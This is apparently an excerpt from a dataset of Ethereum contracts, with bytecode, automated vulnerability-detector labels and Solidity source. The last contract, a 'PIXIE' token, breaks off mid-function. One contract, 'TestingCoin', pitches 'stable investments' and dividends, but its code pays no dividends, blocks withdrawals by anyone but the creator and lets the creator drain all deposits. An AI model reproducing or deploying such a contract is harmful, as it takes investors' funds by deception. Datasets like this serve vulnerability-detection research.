6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 6,582 |
0xc4fd6c87218a2c0f2f7cfed260e1778d62020688
|
pragma solidity ^0.4.18;
/*
.|'''.| . '|| '|| ..|'''.| ||
||.. ' .||. .... || ... || .... .|' ' ... ... .. ...
''|||. || '' .|| ||' || || .|...|| || .| '|. || || ||
. '|| || .|' || || | || || '|. . || || || || ||
|'....|' '|.' '|..'|' '|...' .||. '|...' ''|....' '|..|' .||. .||. ||.
100% fresh code. Novel staking mechanism. Stable investments. Pure dividends.
PreMine: 2.5 ETH (A private key containing .5 will be given to the top referrer)
Launch Date: 4/9/2019 18:05 ET
Launch Rules: The contract will be posted for public review and audit prior to the launch.
Once the PreMine amount of 2ETH hits the contract, the contract is live to the public.
Thanks: randall, klob, cryptodude, triceratops, norsefire, phil, brypto, etherguy.
============
How it works:
============
Issue:
-----
Ordinary pyramid schemes have a Stake price that varies with the contract balance.
This leaves you vulnerable to the whims of the market, as a sudden crash can drain your investment at any time.
Solution:
--------
We remove Stakes from the equation altogether, relieving investors of volatility.
The outcome is a pyramid scheme powered entirely by dividends. We distribute 33% of every deposit and withdrawal
to shareholders in proportion to their stake in the contract. Once you've made a deposit, your dividends will
accumulate over time while your investment remains safe and stable, making this the ultimate vehicle for passive income.
*/
contract TestingCoin {
string constant public name = "StableCoin";
string constant public symbol = "PoSC";
uint256 constant scaleFactor = 0x10000000000000000;
uint8 constant limitedFirstBuyers = 4;
uint256 constant firstBuyerLimit = 0.5 ether; // 2 eth total premine + .5 bonus.
uint8 constant public decimals = 18;
mapping(address => uint256) public stakeBalance;
mapping(address => int256) public payouts;
uint256 public totalSupply;
uint256 public contractBalance;
int256 totalPayouts;
uint256 earningsPerStake;
uint8 initialFunds;
address creator;
uint256 numStakes = 0;
uint256 balance = 0;
modifier isAdmin() { require(msg.sender == creator ); _; }
modifier isLive() { require(contractBalance >= limitedFirstBuyers * firstBuyerLimit); _;} // Stop snipers
function TestingCoin() public {
initialFunds = limitedFirstBuyers;
creator = msg.sender;
}
function stakeOf(address _owner) public constant returns (uint256 balance) {
return stakeBalance[_owner];
}
function withdraw() public gameStarted() {
balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
msg.sender.transfer(balance);
}
function reinvestDividends() public gameStarted() {
balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
uint value_ = (uint) (balance);
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
var sender = msg.sender;
var res = reserve() - balance;
var fee = div(value_, 10);
var numEther = value_ - fee;
var buyerFee = fee * scaleFactor;
var totalStake = 1;
if (totalStake > 0) {
var holderReward = fee * 1;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerStake += rewardPerShare;
}
totalSupply = add(totalSupply, numStakes);
stakeBalance[sender] = add(stakeBalance[sender], numStakes);
var payoutDiff = (int256) ((earningsPerStake * numStakes) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sellMyStake() public gameStarted() {
sell(balance);
}
function getMeOutOfHere() public gameStarted() {
withdraw();
}
function fund() payable public {
if (msg.value > 0.000001 ether) {
buyStake();
} else {
revert();
}
}
function withdrawDividends(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
to.transfer(balance);
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
var fee = div(msg.value, 10);
var numEther = msg.value - fee;
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff = 1;
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerStake += rewardPerShare;
}
totalSupply = add(totalSupply, numStakes);
stakeBalance[sender] = add(stakeBalance[sender], numStakes);
var payoutDiff = (int256) ((earningsPerStake * numStakes) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthersBeforeFee = getEtherForStakes(amount);
var fee = div(numEthersBeforeFee, 10);
var numEthers = numEthersBeforeFee - fee;
totalSupply = sub(totalSupply, amount);
stakeBalance[msg.sender] = sub(stakeBalance[msg.sender], amount);
var payoutDiff = (int256) (earningsPerStake * amount + (numEthers * scaleFactor));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
if (totalSupply > 0) {
var etherFee = fee * scaleFactor;
var rewardPerShare = etherFee / totalSupply;
earningsPerStake = add(earningsPerStake, rewardPerShare);
}
}
function buyStake() internal {
contractBalance = add(contractBalance, msg.value);
}
function sellStake() public gameStarted() {
creator.transfer(contractBalance);
}
function reserve() internal constant returns (uint256 amount) {
return 1;
}
function getEtherForStakes(uint256 Stakes) constant returns (uint256 ethervalue) {
var reserveAmount = reserve();
if (Stakes == totalSupply)
return reserveAmount;
return sub(reserveAmount, fixedExp(fixedLog(totalSupply - Stakes)));
}
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > 10) {
a /= 2;
scale++;
}
while (a <= 5) {
a *= 2;
scale--;
}
}
function dividends(address _owner) internal returns (uint256 divs) {
divs = 0;
return divs;
}
modifier gameStarted() { require(msg.sender == creator ); _;}
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (54)) / 2 - 64;
a -= scale*2;
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
int256 z = (a*a) / 1;
int256 R = ((int256)(2) * 1) +
(2*(2 + (2*(4 + (1*(26 + (2*8/1))/1))/1))/1);
}
// The below are safemath implementations of the four arithmetic operators
// designed to explicitly prevent over- and under-flows of integer values.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function () payable public {
if (msg.value > 0) {
fund();
} else {
withdraw();
}
}
}
/*
All contract source code above this comment can be hashed and verified against the following checksum, which is used to prevent PoSC clones. Stop supporting these scam clones without original development.
SUNBZ0lDQWdJQ0FnWDE5ZlgxOWZYMTlmWHlBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdYMTlmWDE4Z0lDQWdJQ0FnSUNBZ1gxOWZYMThnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNCY1gxOWZYMTlmSUNBZ1hGOWZYMTlmWDE4Z0lGOWZYMThnSUNCZlgxOWZYeThnWDE5Zlgxd2dJQ0JmWDE5Zlh5OGdYMTlmWDF3Z0lDQWdJQ0FnSUNBZ0NpQWdJQ0FnSUNBZ0lDQjhJQ0FnSUNCZlgxOHZYRjhnSUY5ZklGd3ZJQ0JmSUZ3Z0x5QWdYeUJjSUNBZ1gxOWNJQ0FnTHlBZ1h5QmNJQ0FnWDE5Y0lDQWdJQ0FnSUNBZ0lDQUtJQ0FnSUNBZ0lDQWdJSHdnSUNBZ2ZDQWdJQ0FnZkNBZ2ZDQmNLQ0FnUEY4K0lId2dJRHhmUGlBcElDQjhJQ0FnSUNnZ0lEeGZQaUFwSUNCOElDQWdJQ0FnSUNBZ0lDQWdJQW9nSUNBZ0lDQWdJQ0FnZkY5ZlgxOThJQ0FnSUNCOFgxOThJQ0FnWEY5ZlgxOHZJRnhmWDE5ZkwzeGZYM3dnSUNBZ0lGeGZYMTlmTDN4Zlgzd2dJQ0FnSUNBZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWDE5ZlgxOWZYMTlmSUY5ZklDQWdJQ0FnSUNBZ0lDQWdJQ0FnTGw5ZklDQWdJQzVmWDE4Z0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lBb2dJQ0FnSUNBZ0lDQWdJQ0FnSUM4Z0lDQmZYMTlmWHk4dklDQjhYeUJmWHlCZlgxOWZYMTlmWHlCOFgxOThJRjlmZkNCZkx5QWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ1hGOWZYMTlmSUNCY1hDQWdJRjlmWENBZ2ZDQWdYRjlmWDE4Z1hId2dJSHd2SUY5ZklId2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FLSUNBZ0lDQWdJQ0FnSUNBZ0lDQXZJQ0FnSUNBZ0lDQmNmQ0FnZkNCOElDQjhJQ0F2SUNCOFh6NGdQaUFnTHlBdlh5OGdmQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNBZ0lDQWdMMTlmWDE5ZlgxOGdJQzk4WDE5OElIeGZYMTlmTDN3Z0lDQmZYeTk4WDE5Y1gxOWZYeUI4SUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRnd2SUNBZ0lDQWdJQ0FnSUNBZ2ZGOWZmQ0FnSUNBZ0lDQWdJQ0FnWEM4Z0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQUtYMTlmWDE5ZlgxOWZJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JmWDE5Zlh5QWdJQ0FnSUNBZ0lDQmZYeUFnTGw5ZklDQWdJQ0FnSUNBZ0lGOWZJQ0FnSUNBZ0lDQWdJQXBjWHlBZ0lGOWZYeUJjSUNCZlgxOWZJQ0FnWDE5Zlh5QWdJQ0FnTHlBZ1h5QWdYRjlmWDE5ZlgxOWZMeUFnZkY5OFgxOThJRjlmWDE5ZlgxOHZJQ0I4WHlBZ1gxOWZYMTlmQ2k4Z0lDQWdYQ0FnWEM4Z0x5QWdYeUJjSUM4Z0lDQWdYQ0FnSUM4Z0lDOWZYQ0FnWEY4Z0lGOWZJRndnSUNCZlgxd2dJSHd2SUNCZlgxOHZYQ0FnSUY5ZlhDOGdJRjlmWHk4S1hDQWdJQ0FnWEY5Zlh5Z2dJRHhmUGlBcElDQWdmQ0FnWENBdklDQWdJSHdnSUNBZ1hDQWdmQ0JjTDN3Z0lId2dmQ0FnZkZ4ZlgxOGdYQ0FnZkNBZ2ZDQWdYRjlmWHlCY0lBb2dYRjlmWDE5Zlh5QWdMMXhmWDE5ZkwzeGZYMTk4SUNBdklGeGZYMTlmZkY5ZklDQXZYMTk4SUNBZ2ZGOWZmQ0I4WDE4dlgxOWZYeUFnUGlCOFgxOThJQzlmWDE5ZklDQStDaUFnSUNBZ0lDQWdYQzhnSUNBZ0lDQWdJQ0FnSUNCY0x5QWdJQ0FnSUNBZ0lDQmNMeUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWEM4Z0lDQWdJQ0FnSUNBZ0lDQmNMeUFLQ2xSb2FYTWdhWE1nWVc0Z1pYUm9aWEpsZFcwZ2MyMWhjblFnWTI5dWRISmhZM1FnYzJWamRYSnBkSGtnZEdWemRDNGdXVzkxSUdGeVpTQmlaV2x1WnlCd2RXNXBjMmhsWkNCaVpXTmhkWE5sSUhsdmRTQmhjbVVLYkdsclpXeDVJR0VnYzJocGRHTnNiMjVsSUhOallXMXRaWElnZEdoaGRDQnJaV1Z3Y3lCamNtVmhkR2x1WnlCaGJtUWdjSEp2Ylc5MGFXNW5JSFJvWlhObElHSjFiR3h6YUdsMElIQnZibnBwSjNNdUlGQmxiM0JzWlFwc2FXdGxJSGx2ZFNCaGNtVWdjblZwYm1sdVp5QjNhR0YwSUdOdmRXeGtJR0psSUdFZ1oyOXZaQ0IwYUdsdVp5QmhibVFnYVhRbmN5QndhWE56YVc1bklIUm9aU0J5WlhOMElHOW1JSFZ6SUc5bVppNGdDZ3BKSUdGdElIQjFkSFJwYm1jZ2VXOTFJR0ZzYkNCcGJpQjBhVzFsYjNWMElHWnZjaUF4TkNCa1lYbHpJSFJ2SUhSb2FXNXJJR0ZpYjNWMElIZG9ZWFFnZVc5MUlHaGhkbVVnWkc5dVpTNGdXVzkxSUdKc2FXNWtiSGtnYzJWdWRDQkZkR2hsY21WMWJTQjBieUJoSUhOdFlYSjBJQXBqYjI1MGNtRmpkQ0IwYUdGMElIbHZkU0JtYjNWdVpDQnZiaUIwYUdVZ1FteHZZMnNnUTJoaGFXNHVJRTV2SUhkbFluTnBkR1V1SUU1dklISmxabVZ5Y21Gc0xpQktkWE4wSUhsdmRTQjBjbmxwYm1jZ2RHOGdjMjVwY0dVZ2RHaGxJRzVsZUhRZ2MyTmhiUzRnQ2dwSlppQjViM1VnY21WaGJHeDVJRzVsWldRZ2RHOGdaMlYwSUc5MWRDQnZaaUIwYUdseklIUm9hVzVuSUdsdGJXVmthV0YwWld4NUlIUnZJSE5vYVd4c0lITnZiV1VnYjNSb1pYSWdjMk5oYlN3Z1NTQnZabVpsY2lCNWIzVWdkR2hsSUdadmJHeHZkMmx1WnpvS0xTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtTU0IzYVd4c0lHSmxJSEpsZG1WeWMybHVaeUJoYkd3Z2RISmhibk5oWTNScGIyNXpJR2x1SURFMElHUmhlWE11SUVadmNpQjBhR1VnWm05c2JHOTNhVzVuSUdSdmJtRjBhVzl1Y3l3Z1NTQmpZVzRnWlhod1pXUnBkR1VnZEdobElIQnliMk5sYzNNNkNnb3lOU0IzWldrZ1ptOXlJR0VnTWpVbElISmxablZ1WkNCM2FYUm9hVzRnTlNCdGFXNTFkR1Z6TGdvek15QjNaV2tnWm05eUlHRWdNek1sSUhKbFpuVnVaQ0IzYVhSb2FXNGdNakFnYldsdWRYUmxjeTRLTkRBZ2QyVnBJR1p2Y2lCaElEUXdKU0J5WldaMWJtUWdkMmwwYUdsdUlEUWdhRzkxY25NdUNqVXdJSGRsYVNCbWIzSWdZU0ExTUNVZ2NtVm1kVzVrSUhkcGRHaHBiaUF4TWlCb2IzVnljeTRLTmpBZ2QyVnBJR1p2Y2lCaElEWXdKU0J5WldaMWJtUWdkMmwwYUdsdUlERWdaR0Y1TGdvMk9TQjNaV2tnWm05eUlHRWdOamtsSUhKbFpuVnVaQ0IzYVhSb2FXNGdNaUJrWVhsekxnbzRNQ0IzWldrZ1ptOXlJR0VnT0RBbElISmxablZ1WkNCM2FYUm9hVzRnTnlCa1lYbHpMZ281TUNCM1pXa2dabTl5SUdFZ09UQWxJSEpsWm5WdVpDQjNhWFJvYVc0Z01UQWdaR0Y1Y3k0S0NrRnNiQ0J2ZEdobGNpQjBjbUZ1YzJGamRHbHZibk1nZDJsc2JDQmlaU0J5WlhabGNuTmxaQ0JwYmlBeE5DQmtZWGx6TGlCUWJHVmhjMlVnYzNSdmNDQmlaV2x1WnlCemJ5QnpkSFZ3YVdRdUlGZGxJR0Z5WlNCM1lYUmphR2x1Wnk0Z1ZHaGhibXR6SUdadmNpQmhibmtnWkc5dVlYUnBiMjV6SVFvSwo=
*/
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010757806318160ddd14610195578063313ce567146101be5780633ccfd60b146101ed5780634262336014610202578063486503381461024f57806349edfed9146102885780634e7c57a6146102bf57806365bcfbe71461030c5780636bfc9561146103595780638b7afe2e1461036e578063957b2e561461039757806395d89b41146103ac5780639fa45fa61461043a578063b1e352421461044f578063b60d428814610464575b60003411156100fc576100f761046e565b610105565b61010461048f565b5b005b341561011257600080fd5b61011a6105c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015a57808201518184015260208101905061013f565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a057600080fd5b6101a8610602565b6040518082815260200191505060405180910390f35b34156101c957600080fd5b6101d1610608565b604051808260ff1660ff16815260200191505060405180910390f35b34156101f857600080fd5b61020061048f565b005b341561020d57600080fd5b610239600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061060d565b6040518082815260200191505060405180910390f35b341561025a57600080fd5b610286600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610655565b005b341561029357600080fd5b6102a9600480803590602001909190505061072b565b6040518082815260200191505060405180910390f35b34156102ca57600080fd5b6102f6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610771565b6040518082815260200191505060405180910390f35b341561031757600080fd5b610343600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610789565b6040518082815260200191505060405180910390f35b341561036457600080fd5b61036c6107a1565b005b341561037957600080fd5b610381610863565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610869565b005b34156103b757600080fd5b6103bf610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ff5780820151818401526020810190506103e4565b50505050905090810190601f16801561042c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044557600080fd5b61044d610b3f565b005b341561045a57600080fd5b610462610ba8565b005b61046c61046e565b005b64e8d4a5100034111561048857610483610c0e565b61048d565b600080fd5b565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104eb57600080fd5b6104f433610c22565b6008819055506801000000000000000060085402600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550680100000000000000006008540260046000828254019250508190555061057f600354600854610c2f565b6003819055503373ffffffffffffffffffffffffffffffffffffffff166108fc6008549081150290604051600060405180830381858888f1935050505015156105c757600080fd5b565b6040805190810160405280600a81526020017f537461626c65436f696e0000000000000000000000000000000000000000000081525081565b60025481565b601281565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061066033610c22565b9050680100000000000000008102600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506801000000000000000081026004600082825401925050819055506106e160035482610c2f565b6003819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561072757600080fd5b5050565b600080610736610c48565b905060025483141561074a5780915061076b565b6107688161076361075e8660025403610c51565b610ca3565b610c2f565b91505b50919050565b60006020528060005260406000206000915090505481565b60016020528060005260406000206000915090505481565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107fd57600080fd5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003549081150290604051600060405180830381858888f19350505050151561086157600080fd5b565b60035481565b600080600080600080600080600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108d457600080fd5b6108dd33610c22565b6008819055506801000000000000000060085402600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506801000000000000000060085402600460008282540192505081905550600854995064e8d4a510008a108061097b575069d3c21bcecceda10000008a115b1561098557600080fd5b339850600854610993610c48565b0397506109a18a600a610d0d565b9650868a03955068010000000000000000870294506001935060008460ff1611156109f2576001870292508285039450600254838115156109de57fe5b049150816005600082825401925050819055505b610a00600254600754610d28565b600281905550610a506000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600754610d28565b6000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550846007546005540203905080600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060046000828254019250508190555050505050505050505050565b6040805190810160405280600481526020017f506f53430000000000000000000000000000000000000000000000000000000081525081565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9b57600080fd5b610ba6600854610d46565b565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0457600080fd5b610c0c61048f565b565b610c1a60035434610d28565b600381905550565b6000809050809050919050565b6000828211151515610c3d57fe5b818303905092915050565b60006001905090565b600080600090505b600a831115610c7e57600283811515610c6e57fe5b0492508080600101915050610c59565b5b600583111515610c9d57600283029250808060019003915050610c7f565b50919050565b6000806000806040600260368701811515610cba57fe5b050392506002830285039450600083121515610ce95782846000821215610cdd57fe5b9060020a029350610d02565b82600003846000821215610cf957fe5b9060020a900493505b839350505050919050565b6000808284811515610d1b57fe5b0490508091505092915050565b6000808284019050838110151515610d3c57fe5b8091505092915050565b600080600080600080610d588761072b565b9550610d6586600a610d0d565b94508486039350610d7860025488610c2f565b600281905550610dc66000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205488610c2f565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008402876005540201925082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508260046000828254039250508190555060006002541115610eb557680100000000000000008502915060025482811515610e9f57fe5b049050610eae60055482610d28565b6005819055505b505050505050505600a165627a7a7230582027bc03a243f8f1f1e913b74dc3daf42b7d446cf23282d7f5231618de950086af0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,583 |
0x856ee6a073386b2dd440a8cfc9d961b64aa78fe0
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract PIXIEINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromReflection;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Pixie Inu";
string private constant _symbol = "PIXIE";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
address payable private _deadAddress = payable(0x000000000000000000000000000000000000dEaD);
// Uniswap Pair
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
// Burn Related
address[] private _burnAddressList;
uint256[] private _burnAmountList;
bool private initialized = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private launchTime;
uint256 private initialLimitDuration;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromReflection[address(this)] = true;
_isExcludedFromReflection[owner()] = true;
_isExcludedFromReflection[_deadAddress] = true;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
